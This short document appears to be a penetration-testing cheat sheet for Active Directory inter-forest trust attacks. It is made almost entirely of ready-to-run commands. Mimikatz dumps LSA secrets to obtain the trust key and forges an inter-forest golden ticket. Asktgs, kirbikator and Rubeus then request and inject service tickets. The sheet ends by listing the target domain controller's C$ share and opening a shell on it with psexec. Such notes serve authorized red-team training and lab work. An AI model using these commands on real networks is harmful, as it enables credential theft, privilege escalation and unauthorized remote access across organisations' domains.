Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Forge an Inter-forest TGT

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<currentdomain.local>
/sid:<current-domain SID> /rc4:<trust key> /service:krbtgt
/target:<target-domain.local> /ticket:C:\trust_forest_tkt.kirbi"'

Request for TGS

  • Tickets for other services like HOST,RPCSS,HTTP can be created.

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local

#Inject TGS
.\kirbikator.exe lsa .\CIFS.eurocorp-dc.eurocorp.local.kirbi
ls \\<target-dc>\c$\
psexec64.exe \\<target-dc> cmd

Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi /service:cifs/eurocorpdc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

Last updated